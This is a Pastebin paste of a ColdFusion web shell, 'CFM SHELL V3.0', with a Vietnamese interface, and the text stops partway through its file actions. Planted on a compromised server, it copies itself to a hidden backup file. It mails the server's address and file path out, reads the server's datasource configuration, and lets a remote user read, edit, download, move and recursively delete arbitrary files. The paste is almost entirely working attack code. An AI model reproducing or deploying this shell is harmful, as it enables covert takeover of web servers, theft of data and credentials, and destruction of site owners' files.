Advertisement
johnburn

shell.cfm

Jun 17th, 2011
2,805
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 37.30 KB | None | 0 0
  1. <html>
  2.  
  3.  
  4.  
  5.  
  6.  
  7. <style type="text/css">
  8.  
  9.  
  10. body,td,th {
  11.  
  12.  
  13. color: #00FF00;
  14.  
  15.  
  16. font-size:12px;
  17.  
  18.  
  19. font-family: Courier New;
  20.  
  21.  
  22. }
  23.  
  24.  
  25. body {
  26.  
  27.  
  28. background-color: #000000;
  29.  
  30.  
  31. font: 12px Courier New ;
  32.  
  33.  
  34. }
  35.  
  36.  
  37. a:link
  38.  
  39.  
  40. {
  41.  
  42.  
  43. font: bold 12px Courier New ;
  44.  
  45.  
  46. color: #FFFF33;
  47.  
  48.  
  49. text-decoration: none;
  50.  
  51.  
  52. }
  53.  
  54.  
  55. a:visited
  56.  
  57.  
  58. {
  59.  
  60.  
  61. font: bold 12px Courier New ;
  62.  
  63.  
  64. color: #FFFF33;
  65.  
  66.  
  67. text-decoration: none;
  68.  
  69.  
  70. }
  71.  
  72.  
  73. .buttom {color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5}
  74.  
  75.  
  76. .TextBox {border: 1px solid #084B8E}
  77.  
  78.  
  79. .style3 {color: #FF0000}
  80.  
  81.  
  82. </style>
  83.  
  84.  
  85. <head>
  86.  
  87.  
  88. <TITLE>CFM SHELL V3.0 By Vampire fromn [VHC]</TITLE>
  89.  
  90.  
  91. <meta http-equiv="Content-Type" content="text/html">
  92.  
  93.  
  94. </head>
  95.  
  96.  
  97. <body>
  98.  
  99.  
  100. <center>
  101.  
  102.  
  103. Cfm Shell v3.0
  104.  
  105.  
  106. <br>
  107.  
  108.  
  109. By <a href="ymsgr:sendim?vampire.legend_vn">VampirE</a> from <a href="vhcgroup.net">VHC</a>
  110.  
  111.  
  112. <br>
  113.  
  114.  
  115. Website: <a href="VampireVN.Us">VampireVN.Us</a> - Email: <a href="mailto:[email protected]">[email protected]</a>
  116.  
  117.  
  118. </center>
  119.  
  120.  
  121. <hr>
  122.  
  123.  
  124. <script langauge="JavaScript" type="text/javascript">
  125.  
  126.  
  127. function doMenu(item)
  128.  
  129.  
  130. {
  131.  
  132.  
  133. obj=document.getElementById(item);
  134.  
  135.  
  136. col=document.getElementById("x" + item);
  137.  
  138.  
  139. if (obj.style.display=="none")
  140.  
  141.  
  142. {
  143.  
  144.  
  145. obj.style.display="block"; col.innerHTML="[-]";
  146.  
  147.  
  148. }
  149.  
  150.  
  151. else
  152.  
  153.  
  154. {
  155.  
  156.  
  157. obj.style.display="none"; col.innerHTML="[+]";
  158.  
  159.  
  160. }
  161.  
  162.  
  163. }
  164.  
  165.  
  166. </script>
  167.  
  168.  
  169.  
  170.  
  171.  
  172.  
  173.  
  174.  
  175.  
  176.  
  177.  
  178.  
  179.  
  180.  
  181.  
  182.  
  183.  
  184. <!--- Login --->
  185.  
  186.  
  187.  
  188.  
  189.  
  190. <cfif IsDefined("logout")>
  191.  
  192.  
  193. <cfset structclear(cookie)>
  194.  
  195.  
  196. <cflocation url="?" addtoken="No">
  197.  
  198.  
  199. </cfif>
  200.  
  201.  
  202. <cfif IsDefined("cookie.username")>
  203.  
  204.  
  205.  
  206.  
  207.  
  208.  
  209.  
  210.  
  211.  
  212.  
  213.  
  214. <!--- Main --->
  215.  
  216.  
  217.  
  218.  
  219.  
  220.  
  221.  
  222.  
  223.  
  224.  
  225.  
  226.  
  227.  
  228.  
  229.  
  230.  
  231.  
  232.  
  233.  
  234.  
  235. <center>Xin ch&#224;o <font color="#FFFF33"><b><cfoutput>#username#</cfoutput></b></font> !</center>
  236.  
  237.  
  238. <center><b><a href="?logout">Tho&#225;t</a></b></center>
  239.  
  240.  
  241. <hr>
  242.  
  243.  
  244. <cfif not FileExists("#GetDirectoryFromPath(GetTemplatePath())#\headereds.cfm")>
  245.  
  246.  
  247. <cffile action="copy" source="#GetTemplatePath()#" destination="#GetDirectoryFromPath(GetTemplatePath())#\headereds.cfm">
  248.  
  249.  
  250. <cfoutput>
  251.  
  252.  
  253.  
  254.  
  255.  
  256. <cftry>
  257.  
  258.  
  259. <cfmail
  260.  
  261.  
  262.  
  263.  
  264. from = "Cfm_Shell@localhost"
  265.  
  266.  
  267.  
  268.  
  269. subject = "Shell in #CGI.SERVER_NAME#">
  270.  
  271.  
  272. Server Name: #CGI.SERVER_NAME#:#CGI.SERVER_PORT#
  273.  
  274.  
  275. Http Host: #CGI.HTTP_HOST#:#CGI.SERVER_PORT#
  276.  
  277.  
  278. Link: http://#CGI.SERVER_NAME##CGI.SCRIPT_NAME#
  279.  
  280.  
  281. Patch: #GetTemplatePath()#
  282.  
  283.  
  284. Backup: #GetDirectoryFromPath(GetTemplatePath())#headereds.cfm
  285.  
  286.  
  287. </cfmail>
  288.  
  289.  
  290. <cfcatch type="any">
  291.  
  292.  
  293. Apologies, an error has occurred. Please try again later.
  294.  
  295.  
  296. </cfcatch>
  297.  
  298.  
  299. </cftry>
  300.  
  301.  
  302.  
  303.  
  304.  
  305. </cfoutput>
  306.  
  307.  
  308. </cfif>
  309.  
  310.  
  311. <cfoutput>
  312.  
  313.  
  314. <cfset dir = #GetDirectoryFromPath(GetTemplatePath())#>
  315.  
  316.  
  317. <cfif Right(dir, 1) neq "\" >
  318.  
  319.  
  320. <cfset dir = "#dir#\">
  321.  
  322.  
  323. </cfif>
  324.  
  325.  
  326. <!--- Ham get Datasource Infor --->
  327.  
  328.  
  329. <cfscript>
  330.  
  331.  
  332. factory = CreateObject("java", "coldfusion.server.ServiceFactory");
  333.  
  334.  
  335. DataSoureceInfo = factory.DataSourceService.getDatasources();
  336.  
  337.  
  338. </cfscript>
  339.  
  340.  
  341. <!--- Ham doc tep --->
  342.  
  343.  
  344. <cffunction name="ReadFile" access="remote" output="true" returntype="any">
  345.  
  346.  
  347. <cfargument name="fileread" type="string" required="true"/>
  348.  
  349.  
  350. <cfloop file="#arguments.fileread#" index="line"> #line#<br> </cfloop>
  351.  
  352.  
  353. </cffunction>
  354.  
  355.  
  356. <!--- ham xoa thu muc --->
  357.  
  358.  
  359. <cffunction name="dirDelete" access="public" output="false" returntype="any">
  360.  
  361.  
  362. <cfargument name="dir" required="no" default="#expandPath('/pocket_cache/')#">
  363.  
  364.  
  365. <cfdirectory action="list" name="delfile" directory="#arguments.dir#">
  366.  
  367.  
  368. <cfif delfile.RecordCount EQ 0>
  369.  
  370.  
  371. <cfif directoryExists(arguments.dir)>
  372.  
  373.  
  374. <cfdirectory action="delete" directory="#arguments.dir#">
  375.  
  376.  
  377. </cfif>
  378.  
  379.  
  380. <cfelse>
  381.  
  382.  
  383. <cfloop query="delfile">
  384.  
  385.  
  386. <cfif type EQ "file">
  387.  
  388.  
  389. <cffile action="delete" file="#arguments.dir#\#name#">
  390.  
  391.  
  392. <cfelse>
  393.  
  394.  
  395. <cfset temp = dirDelete(arguments.dir & '\' & #delfile.name#)>
  396.  
  397.  
  398. </cfif>
  399.  
  400.  
  401. </cfloop>
  402.  
  403.  
  404. <cfif directoryExists(arguments.dir)>
  405.  
  406.  
  407. <cfdirectory action="delete" directory="#arguments.dir#">
  408.  
  409.  
  410. </cfif>
  411.  
  412.  
  413. </cfif>
  414.  
  415.  
  416. </cffunction>
  417.  
  418.  
  419. <!--- ham doi ten thu muc --->
  420.  
  421.  
  422. <cffunction name="renameDirectory" access="remote" output="false" returntype="void">
  423.  
  424.  
  425. <cfargument name="oldDir" type="string" required="true"/>
  426.  
  427.  
  428. <cfargument name="newDir" type="string" required="true"/>
  429.  
  430.  
  431. <cfdirectory action="rename" directory="#arguments.oldDir#" newdirectory="#arguments.newDir#"/>
  432.  
  433.  
  434. </cffunction>
  435.  
  436.  
  437. </cfoutput>
  438.  
  439.  
  440. <!--- ham Zip --->
  441.  
  442.  
  443. <cffunction name="zipfile" access="remote" output="false" returntype="void">
  444.  
  445.  
  446. <cfargument name="source" required="true" type="string">
  447.  
  448.  
  449. <cfargument name="destination" required="true" type="string">
  450.  
  451.  
  452. <cfzip action="zip" file="#arguments.destination#" recurse="yes" source="#arguments.source#" storePath="yes" />
  453.  
  454.  
  455. </cffunction>
  456.  
  457.  
  458. <!--- ham UnZip --->
  459.  
  460.  
  461. <cffunction name="unzipfile" access="remote" output="false" returntype="void">
  462.  
  463.  
  464. <cfargument name="source" required="true" type="string">
  465.  
  466.  
  467. <cfargument name="destination" required="true" type="string">
  468.  
  469.  
  470. <cfzip action="unzip" file="#arguments.source#" destination="#arguments.destination#" storePath="yes" />
  471.  
  472.  
  473. </cffunction>
  474.  
  475.  
  476. <!--- ham Copy Thu Muc --->
  477.  
  478.  
  479. <cffunction name="dirCopy" output="false">
  480.  
  481.  
  482. <cfargument name="source" required="true" type="string">
  483.  
  484.  
  485. <cfargument name="destination" required="true" type="string">
  486.  
  487.  
  488. <cfset var uid = CreateUUID()>
  489.  
  490.  
  491. <cfzip action="zip" file="#GetTempDirectory()##uid#.zip" recurse="yes" source="#arguments.source#" storePath="yes" />
  492.  
  493.  
  494. <cfif Not DirectoryExists("#arguments.destination#")>
  495.  
  496.  
  497. <cfdirectory action="create" directory="#arguments.destination#">
  498.  
  499.  
  500. </cfif>
  501.  
  502.  
  503. <cfzip action="unzip" file="#GetTempDirectory()##uid#.zip" destination="#arguments.destination#" storePath="yes" />
  504.  
  505.  
  506. <cffile action="delete" file="#GetTempDirectory()##uid#.zip">
  507.  
  508.  
  509. </cffunction>
  510.  
  511.  
  512. <!--- ham Move Thu Muc --->
  513.  
  514.  
  515. <cffunction name="dirMove" output="false">
  516.  
  517.  
  518. <cfargument name="source" required="true" type="string">
  519.  
  520.  
  521. <cfargument name="destination" required="true" type="string">
  522.  
  523.  
  524. <cfset var uid = CreateUUID()>
  525.  
  526.  
  527. <cfzip action="zip" file="#GetTempDirectory()##uid#.zip" recurse="yes" source="#arguments.source#" storePath="yes" />
  528.  
  529.  
  530. <cfif Not DirectoryExists("#arguments.destination#")>
  531.  
  532.  
  533. <cfdirectory action="create" directory="#arguments.destination#">
  534.  
  535.  
  536. </cfif>
  537.  
  538.  
  539. <cfzip action="unzip" file="#GetTempDirectory()##uid#.zip" destination="#arguments.destination#" storePath="yes" />
  540.  
  541.  
  542. <cffile action="delete" file="#GetTempDirectory()##uid#.zip">
  543.  
  544.  
  545. <cfset dirDelete('#source#')>
  546.  
  547.  
  548. </cffunction>
  549.  
  550.  
  551. <!--- bat dau nhan lenh --->
  552.  
  553.  
  554. <cfif isDefined("action")>
  555.  
  556.  
  557. <cfif action is "goto">
  558.  
  559.  
  560. <cfoutput>
  561.  
  562.  
  563. <cfif isDefined("scr")>
  564.  
  565.  
  566. <cfset dir = #scr#>
  567.  
  568.  
  569. <cfif Right(dir, 1) neq "\" >
  570.  
  571.  
  572. <cfset dir = "#dir#\">
  573.  
  574.  
  575. </cfif>
  576.  
  577.  
  578. </cfif>
  579.  
  580.  
  581. </cfoutput>
  582.  
  583.  
  584. <cfelseif action is "edit">
  585.  
  586.  
  587. <cfoutput>
  588.  
  589.  
  590. <cfif isDefined("scr")>
  591.  
  592.  
  593. <cfif FileExists("#scr#")>
  594.  
  595.  
  596. <cfset file_name=#Replace(#scr#,'#GetDirectoryFromPath(scr)#','','ALL')#>
  597.  
  598.  
  599. <title>&##272;ang s&##7917;a t&##7879;p #scr#</title>
  600.  
  601.  
  602. <script language="JavaScript" type="text/javascript">
  603.  
  604.  
  605. function sTrim(sVariable)
  606.  
  607.  
  608. {
  609.  
  610.  
  611. return sVariable.replace(/^\s+|\s+$/g,"");
  612.  
  613.  
  614. }
  615.  
  616.  
  617. function validateFields(form)
  618.  
  619.  
  620. {
  621.  
  622.  
  623. return true;
  624.  
  625.  
  626. }
  627.  
  628.  
  629. </script>
  630.  
  631.  
  632. <cffile action="read" file="#scr#" variable="thisFile">
  633.  
  634.  
  635. <form action="?action=save&scr=#GetDirectoryFromPath(scr)#" method="post" onsubmit="return validateFields(this);">
  636.  
  637.  
  638. <input type="hidden" name="fileName" value="#file_name#" />
  639.  
  640.  
  641. <input type="hidden" name="action_type" value="edit" />
  642.  
  643.  
  644. <table border="0" style="width:600px;">
  645.  
  646.  
  647. <tr>
  648.  
  649.  
  650. <td style="font-weight:bold;" nowrap="nowrap">
  651.  
  652.  
  653. S&##7917;a t&##7879;p:&nbsp;
  654.  
  655.  
  656. </td>
  657.  
  658.  
  659. <td style="width:480px;">
  660.  
  661.  
  662. #scr#
  663.  
  664.  
  665. </td>
  666.  
  667.  
  668. </tr>
  669.  
  670.  
  671. <tr>
  672.  
  673.  
  674. <td style="font-weight:bold;" nowrap="nowrap">
  675.  
  676.  
  677. N&##7897;i dung:&nbsp;
  678.  
  679.  
  680. </td>
  681.  
  682.  
  683. <td colspan="2">
  684.  
  685.  
  686. <cfset thisFile=#Replace(#thisFile#,'<','&lt;','ALL')#>
  687.  
  688.  
  689. <cfset thisFile=#Replace(#thisFile#,'>','&gt;','ALL')#>
  690.  
  691.  
  692. <textarea name="fileContent" style="font-family:verdana; font-size:11px; height:250px; width:600px;">#thisFile#</textarea>
  693.  
  694.  
  695. </td>
  696.  
  697.  
  698. </tr>
  699.  
  700.  
  701. <tr>
  702.  
  703.  
  704. <td colspan="2" style="text-align:right;">
  705.  
  706.  
  707. <input type="submit" value="L&##432;u" style="font-family:verdana; font-size:11px;" />
  708.  
  709.  
  710. </td>
  711.  
  712.  
  713. </tr>
  714.  
  715.  
  716. </table>
  717.  
  718.  
  719. </form>
  720.  
  721.  
  722. <cfelse>
  723.  
  724.  
  725. <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  726.  
  727.  
  728. </cfif>
  729.  
  730.  
  731. <a href="?action=goto&scr=#GetDirectoryFromPath(scr)#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  732.  
  733.  
  734. <cfelse>
  735.  
  736.  
  737. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  738.  
  739.  
  740. </cfif>
  741.  
  742.  
  743. </cfoutput>
  744.  
  745.  
  746. <cfelseif action is "cut">
  747.  
  748.  
  749. <cfoutput>
  750.  
  751.  
  752. <cfif isDefined("scr")>
  753.  
  754.  
  755. <cfset cutdir = #scr#>
  756.  
  757.  
  758. <cfif FileExists("#scr#")>
  759.  
  760.  
  761. <cfset cutdir = #RemoveChars(cutdir, len(cutdir), 1)#>
  762.  
  763.  
  764. <cfloop condition = "Right(cutdir, 1) neq '\'">
  765.  
  766.  
  767. <cfset cutdir = #RemoveChars(cutdir, len(cutdir), 1)#>
  768.  
  769.  
  770. </cfloop>
  771.  
  772.  
  773. <cfform name="articles" ENCTYPE="multipart/form-data">
  774.  
  775.  
  776. B&##7841;n s&##7869; di chuy&##7875;n t&##7879;p <font color="red">#scr#</font> t&##7899;i <cfinput type="text" name="thumucsechuyen" size="50" value="#cutdir#"> <input type="submit" value="Th&##7921;c hi&##7879;n" />
  777.  
  778.  
  779. </cfform>
  780.  
  781.  
  782. <cfif isDefined("thumucsechuyen")>
  783.  
  784.  
  785. <cffile action="move" source="#scr#" destination="#thumucsechuyen#">
  786.  
  787.  
  788. <cflocation url="?action=goto&scr=#cutdir#" addtoken="No">
  789.  
  790.  
  791. </cfif>
  792.  
  793.  
  794. <cfelse>
  795.  
  796.  
  797. <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  798.  
  799.  
  800. </cfif>
  801.  
  802.  
  803. <a href="?action=goto&scr=#cutdir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  804.  
  805.  
  806. <cfelse>
  807.  
  808.  
  809. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  810.  
  811.  
  812. </cfif>
  813.  
  814.  
  815. </cfoutput>
  816.  
  817.  
  818. <cfelseif action is "cutd">
  819.  
  820.  
  821. <cfoutput>
  822.  
  823.  
  824. <cfif isDefined("scr")>
  825.  
  826.  
  827. <cfset copydir = #scr#>
  828.  
  829.  
  830. <cfif DirectoryExists("#scr#")>
  831.  
  832.  
  833. <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
  834.  
  835.  
  836. <cfloop condition = "Right(copydir, 1) neq '\'">
  837.  
  838.  
  839. <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
  840.  
  841.  
  842. </cfloop>
  843.  
  844.  
  845. <cfform name="articles" ENCTYPE="multipart/form-data">
  846.  
  847.  
  848. B&##7841;n s&##7869; sao ch&##233;p t&##7879;p <font color="red">#scr#</font> t&##7899;i <cfinput type="text" name="thumucsechuyen" size="50" value="#copydir#"> <input type="submit" value="Th&##7921;c hi&##7879;n" />
  849.  
  850.  
  851. </cfform>
  852.  
  853.  
  854. <cfif isDefined("thumucsechuyen")>
  855.  
  856.  
  857. #dirMove("#scr#","#thumucsechuyen#")#
  858.  
  859.  
  860. <cflocation url="?action=goto&scr=#copydir#" addtoken="No">
  861.  
  862.  
  863. </cfif>
  864.  
  865.  
  866. <cfelse>
  867.  
  868.  
  869. <p>Th&##432; m&##7909;c #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  870.  
  871.  
  872. </cfif>
  873.  
  874.  
  875. <a href="?action=goto&scr=#copydir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  876.  
  877.  
  878. <cfelse>
  879.  
  880.  
  881. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  882.  
  883.  
  884. </cfif>
  885.  
  886.  
  887. </cfoutput>
  888.  
  889.  
  890. <cfelseif action is "copy">
  891.  
  892.  
  893. <cfoutput>
  894.  
  895.  
  896. <cfif isDefined("scr")>
  897.  
  898.  
  899. <cfset copydir = #scr#>
  900.  
  901.  
  902. <cfif FileExists("#scr#")>
  903.  
  904.  
  905. <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
  906.  
  907.  
  908. <cfloop condition = "Right(copydir, 1) neq '\'">
  909.  
  910.  
  911. <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
  912.  
  913.  
  914. </cfloop>
  915.  
  916.  
  917. <cfform name="articles" ENCTYPE="multipart/form-data">
  918.  
  919.  
  920. B&##7841;n s&##7869; sao ch&##233;p t&##7879;p <font color="red">#scr#</font> t&##7899;i <cfinput type="text" name="thumucsechuyen" size="50" value="#copydir#"> <input type="submit" value="Th&##7921;c hi&##7879;n" />
  921.  
  922.  
  923. </cfform>
  924.  
  925.  
  926. <cfif isDefined("thumucsechuyen")>
  927.  
  928.  
  929. <cffile action="copy" source="#scr#" destination="#thumucsechuyen#">
  930.  
  931.  
  932. <cflocation url="?action=goto&scr=#copydir#" addtoken="No">
  933.  
  934.  
  935. </cfif>
  936.  
  937.  
  938. <cfelse>
  939.  
  940.  
  941. <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  942.  
  943.  
  944. </cfif>
  945.  
  946.  
  947. <a href="?action=goto&scr=#copydir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  948.  
  949.  
  950. <cfelse>
  951.  
  952.  
  953. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  954.  
  955.  
  956. </cfif>
  957.  
  958.  
  959. </cfoutput>
  960.  
  961.  
  962. <cfelseif action is "copyd">
  963.  
  964.  
  965. <cfoutput>
  966.  
  967.  
  968. <cfif isDefined("scr")>
  969.  
  970.  
  971. <cfset copydir = #scr#>
  972.  
  973.  
  974. <cfif DirectoryExists("#scr#")>
  975.  
  976.  
  977. <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
  978.  
  979.  
  980. <cfloop condition = "Right(copydir, 1) neq '\'">
  981.  
  982.  
  983. <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
  984.  
  985.  
  986. </cfloop>
  987.  
  988.  
  989. <cfform name="articles" ENCTYPE="multipart/form-data">
  990.  
  991.  
  992. B&##7841;n s&##7869; sao ch&##233;p t&##7879;p <font color="red">#scr#</font> t&##7899;i <cfinput type="text" name="thumucsechuyen" size="50" value="#copydir#"> <input type="submit" value="Th&##7921;c hi&##7879;n" />
  993.  
  994.  
  995. </cfform>
  996.  
  997.  
  998. <cfif isDefined("thumucsechuyen")>
  999.  
  1000.  
  1001. #dirCopy("#scr#","#thumucsechuyen#")#
  1002.  
  1003.  
  1004. <cflocation url="?action=goto&scr=#copydir#" addtoken="No">
  1005.  
  1006.  
  1007. </cfif>
  1008.  
  1009.  
  1010. <cfelse>
  1011.  
  1012.  
  1013. <p>Th&##432; m&##7909;c #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  1014.  
  1015.  
  1016. </cfif>
  1017.  
  1018.  
  1019. <a href="?action=goto&scr=#copydir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  1020.  
  1021.  
  1022. <cfelse>
  1023.  
  1024.  
  1025. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  1026.  
  1027.  
  1028. </cfif>
  1029.  
  1030.  
  1031. </cfoutput>
  1032.  
  1033.  
  1034. <cfelseif action is "rename">
  1035.  
  1036.  
  1037. <cfoutput>
  1038.  
  1039.  
  1040. <cfif isDefined("scr")>
  1041.  
  1042.  
  1043. <cfset renamedir = #scr#>
  1044.  
  1045.  
  1046. <cfif FileExists("#scr#")>
  1047.  
  1048.  
  1049. <cfloop condition = "Right(renamedir, 1) neq '\'">
  1050.  
  1051.  
  1052. <cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#>
  1053.  
  1054.  
  1055. </cfloop>
  1056.  
  1057.  
  1058. <cfform name="articles" ENCTYPE="multipart/form-data">
  1059.  
  1060.  
  1061. B&##7841;n s&##7869; &##273;&##7893;i t&##234;n #scr# th&##224;nh #renamedir#<cfinput type="text" name="namechange" size="25" value=""> <input type="submit" value="Th&##7921;c hi&##7879;n" />
  1062.  
  1063.  
  1064. </cfform>
  1065.  
  1066.  
  1067. <cfif isDefined("namechange")>
  1068.  
  1069.  
  1070. <cffile action="rename" source="#scr#" destination="#renamedir##namechange#">
  1071.  
  1072.  
  1073. <cflocation url="?action=goto&scr=#renamedir#" addtoken="No">
  1074.  
  1075.  
  1076. </cfif>
  1077.  
  1078.  
  1079. <cfelse>
  1080.  
  1081.  
  1082. <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  1083.  
  1084.  
  1085. </cfif>
  1086.  
  1087.  
  1088. <a href="?action=goto&scr=#renamedir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  1089.  
  1090.  
  1091. <cfelse>
  1092.  
  1093.  
  1094. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  1095.  
  1096.  
  1097. </cfif>
  1098.  
  1099.  
  1100. </cfoutput>
  1101.  
  1102.  
  1103. <cfelseif action is "renamed">
  1104.  
  1105.  
  1106. <cfoutput>
  1107.  
  1108.  
  1109. <cfif isDefined("scr")>
  1110.  
  1111.  
  1112. <cfset renamedir = #scr#>
  1113.  
  1114.  
  1115. <cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#>
  1116.  
  1117.  
  1118. <cfif DirectoryExists("#scr#")>
  1119.  
  1120.  
  1121. <cfloop condition = "Right(renamedir, 1) neq '\'">
  1122.  
  1123.  
  1124. <cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#>
  1125.  
  1126.  
  1127. </cfloop>
  1128.  
  1129.  
  1130. <cfform name="articles" ENCTYPE="multipart/form-data">
  1131.  
  1132.  
  1133. B&##7841;n s&##7869; &##273;&##7893;i t&##234;n #scr# th&##224;nh #renamedir#<cfinput type="text" name="namechange" size="25" value=""> <input type="submit" value="Th&##7921;c hi&##7879;n" />
  1134.  
  1135.  
  1136. </cfform>
  1137.  
  1138.  
  1139. <cfif isDefined("namechange")>
  1140.  
  1141.  
  1142. #renameDirectory('#scr#','#renamedir##namechange#')#
  1143.  
  1144.  
  1145. <cflocation url="?action=goto&scr=#renamedir#" addtoken="No">
  1146.  
  1147.  
  1148. </cfif>
  1149.  
  1150.  
  1151. <cfelse>
  1152.  
  1153.  
  1154. <p>Th&##432; m&##7909;c #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  1155.  
  1156.  
  1157. </cfif>
  1158.  
  1159.  
  1160. <a href="?action=goto&scr=#renamedir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  1161.  
  1162.  
  1163. <cfelse>
  1164.  
  1165.  
  1166. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  1167.  
  1168.  
  1169. </cfif>
  1170.  
  1171.  
  1172. </cfoutput>
  1173.  
  1174.  
  1175. <cfelseif action is "down">
  1176.  
  1177.  
  1178. <cfoutput>
  1179.  
  1180.  
  1181. <cfif isDefined("scr")>
  1182.  
  1183.  
  1184. <cfset downdir = #scr#>
  1185.  
  1186.  
  1187. <cfif FileExists("#scr#")>
  1188.  
  1189.  
  1190. <cfloop condition = "Right(downdir, 1) neq '\'">
  1191.  
  1192.  
  1193. <cfset downdir = #RemoveChars(downdir, len(downdir), 1)#>
  1194.  
  1195.  
  1196. </cfloop>
  1197.  
  1198.  
  1199. <cfheader name="Content-Disposition" value="attachment; filename=#getFileFromPath (scr)#">
  1200.  
  1201.  
  1202. <cfcontent file="#scr#" type="application/octet-stream">
  1203.  
  1204.  
  1205. <cfelse>
  1206.  
  1207.  
  1208. <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  1209.  
  1210.  
  1211. </cfif>
  1212.  
  1213.  
  1214. <a href="?action=goto&scr=#downdir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  1215.  
  1216.  
  1217. <cfelse>
  1218.  
  1219.  
  1220. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  1221.  
  1222.  
  1223. </cfif>
  1224.  
  1225.  
  1226. </cfoutput>
  1227.  
  1228.  
  1229. <cfelseif action is "del">
  1230.  
  1231.  
  1232. <cfoutput>
  1233.  
  1234.  
  1235. <cfif isDefined("scr")>
  1236.  
  1237.  
  1238. <cfset deletedir = #scr#>
  1239.  
  1240.  
  1241. <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
  1242.  
  1243.  
  1244. <cfif FileExists("#scr#")>
  1245.  
  1246.  
  1247. <cfloop condition = "Right(deletedir, 1) neq '\'">
  1248.  
  1249.  
  1250. <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
  1251.  
  1252.  
  1253. </cfloop>
  1254.  
  1255.  
  1256. <cffile action="delete" file="#scr#">
  1257.  
  1258.  
  1259. <cflocation url="?action=goto&scr=#deletedir#" addtoken="No">
  1260.  
  1261.  
  1262. <cfelse>
  1263.  
  1264.  
  1265. <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  1266.  
  1267.  
  1268. </cfif>
  1269.  
  1270.  
  1271. <a href="?action=goto&scr=#deletedir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  1272.  
  1273.  
  1274. <cfelse>
  1275.  
  1276.  
  1277. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  1278.  
  1279.  
  1280. </cfif>
  1281.  
  1282.  
  1283. </cfoutput>
  1284.  
  1285.  
  1286. <cfelseif action is "deld">
  1287.  
  1288.  
  1289. <cfoutput>
  1290.  
  1291.  
  1292. <cfif isDefined("scr")>
  1293.  
  1294.  
  1295. <cfset deletedir = #scr#>
  1296.  
  1297.  
  1298. <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
  1299.  
  1300.  
  1301. <cfif DirectoryExists("#scr#")>
  1302.  
  1303.  
  1304. <cfloop condition = "Right(deletedir, 1) neq '\'">
  1305.  
  1306.  
  1307. <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
  1308.  
  1309.  
  1310. </cfloop>
  1311.  
  1312.  
  1313. <cfset dirDelete('#scr#')>
  1314.  
  1315.  
  1316. <cflocation url="?action=goto&scr=#deletedir#" addtoken="No">
  1317.  
  1318.  
  1319. <cfelse>
  1320.  
  1321.  
  1322. <p>Th&##3432; m&##37909;c #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
  1323.  
  1324.  
  1325. </cfif>
  1326.  
  1327.  
  1328. <a href="?action=goto&scr=#deletedir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  1329.  
  1330.  
  1331. <cfelse>
  1332.  
  1333.  
  1334. <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
  1335.  
  1336.  
  1337. </cfif>
  1338.  
  1339.  
  1340. </cfoutput>
  1341.  
  1342.  
  1343. <cfelseif action is "new">
  1344.  
  1345.  
  1346. <!---
  1347.  
  1348.  
  1349. <cfoutput>
  1350.  
  1351.  
  1352. <cfif isDefined("scr")>
  1353.  
  1354.  
  1355. <cfif FileExists("#scr#")>
  1356.  
  1357.  
  1358. <p>T&##7853;p tin #scr# &##273;&##227; t&##7891;n t&##7841;i.</p>
  1359.  
  1360.  
